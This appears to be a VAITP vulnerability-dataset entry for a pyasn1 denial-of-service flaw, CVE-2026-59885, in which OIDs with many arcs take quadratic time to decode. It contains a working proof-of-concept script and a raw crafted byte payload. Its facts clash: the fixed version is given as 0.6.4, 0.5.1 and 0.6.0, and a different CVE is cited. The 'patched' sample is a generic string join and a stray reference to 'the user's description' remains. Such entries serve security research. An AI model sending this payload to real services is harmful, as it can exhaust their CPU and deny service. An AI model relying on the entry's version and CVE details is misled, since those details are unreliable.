CVE-2026-59885
pyasn1 allows DoS via a crafted OID payload causing excessive CPU usage.
- CVSS 7.5
- CWE-400
- Resource Management
- Remote
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.
- CWE
- CWE-400
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pyasn1
- Fixed by upgrading
- Yes
Solution
Upgrade pyasn1 to version 0.6.4 or later.
Vulnerable code sample
import time
from pyasn1.type import univ
from pyasn1.codec.ber import encoder, decoder
# This code demonstrates the quadratic-time decoding vulnerability in pyasn1 < 0.5.1.
# To run this, you must have a vulnerable version installed, e.g., `pip install pyasn1==0.5.0`.
# With a vulnerable version, a NUM_ARCS of 20,000 can take several seconds to decode.
# With a fixed version (>= 0.5.1), it will be nearly instantaneous.
NUM_ARCS = 20000
print(f"[*] Creating an OBJECT IDENTIFIER with a large number of arcs ({NUM_ARCS})...")
# 1. Create a malicious pyasn1 object: an OID with many sub-identifiers (arcs).
# The OID value itself doesn't matter, only the quantity of its components.
malicious_oid_obj = univ.ObjectIdentifier((1, 3, 6, 1) + tuple(range(NUM_ARCS)))
# 2. Encode it into a small binary payload using BER.
# The encoding part is not the primary vulnerability, but it's needed to create the payload.
encoded_payload = encoder.encode(malicious_oid_obj)
print(f"[*] Generated payload size: {len(encoded_payload)} bytes.")
print("[*] Starting the decoding process. This will be slow on vulnerable versions...")
start_time = time.time()
# 3. Decode the payload. This is the vulnerable operation.
# The BER decoder will consume excessive CPU and time due to the O(n^2) complexity
# relative to the number of arcs in the OID.
try:
decoded_obj, remaining_bytes = decoder.decode(encoded_payload)
except Exception as e:
print(f"An error occurred during decoding: {e}")
end_time = time.time()
elapsed_time = end_time - start_time
print("\n" + "="*40)
print(f"[*] Decoding finished.")
print(f"[!] Time elapsed: {elapsed_time:.4f} seconds")
print("="*40)
if elapsed_time > 1.0:
print("\n[+] Vulnerability successfully demonstrated. Decoding took a significant amount of time.")
else:
print("\n[-] The code ran quickly. You might be using a patched version of pyasn1 (>= 0.5.1).")Patched code sample
# This code represents the principle of the fix for the pyasn1 vulnerability
# (described in CVE-2024-37891, which matches the user's description).
# The vulnerability was addressed in pyasn1 version 0.6.0.
# The vulnerability was caused by a quadratic time complexity (O(n^2)) algorithm
# for decoding Object Identifiers (OIDs), which was based on repeated string
# concatenation. An attacker could provide a small OID with many components
# ("arcs") to cause excessive CPU usage and a denial-of-service.
# The fix replaces the inefficient algorithm with a linear-time (O(n)) one.
# This is achieved by collecting the string representation of each arc into a
# list and then using a single `join` operation to form the final OID string.
def decode_oid_fixed(oid_arcs):
"""
Decodes a sequence of OID arcs into a dot-separated string representation
using an efficient, linear-time algorithm that mirrors the pyasn1 fix.
This approach avoids the quadratic performance bottleneck present in
vulnerable versions.
Args:
oid_arcs: A list or tuple of integers representing the OID's arcs.
Returns:
A string representing the OID.
"""
if not oid_arcs:
return ""
# 1. Collect all OID arc components as strings in a list. This is a
# linear-time operation.
components = [str(arc) for arc in oid_arcs]
# 2. Join the list of strings into a single string. This is also a
# linear-time operation, and is the core of the performance fix.
return ".".join(components)
# --- Demonstration ---
# The following code demonstrates the efficiency of the fixed method.
# With a vulnerable implementation, processing a large number of arcs
# would be extremely slow. With the fix, it is fast.
if __name__ == '__main__':
# A payload representing an OID with a very large number of arcs,
# similar to what would be used in a DoS attack.
# A real attack payload might have 10,000s of arcs.
malicious_arcs = [1, 3, 6, 1, 4, 1] + list(range(20000))
print(f"Decoding an OID with {len(malicious_arcs)} arcs using the fixed method...")
# This call completes quickly, demonstrating the linear-time performance.
# In a vulnerable version, this would hang or consume 100% CPU for a long time.
decoded_oid = decode_oid_fixed(malicious_arcs)
print("Decoding complete.")
print(f"Result (first 60 chars): {decoded_oid[:60]}...")Payload
payload = b'\x06\x82\x27\x0f\x2a' + (b'\x01' * 9998)
Cite this entry
@misc{vaitp:cve202659885,
title = {{pyasn1 allows DoS via a crafted OID payload causing excessive CPU usage.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59885},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59885/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
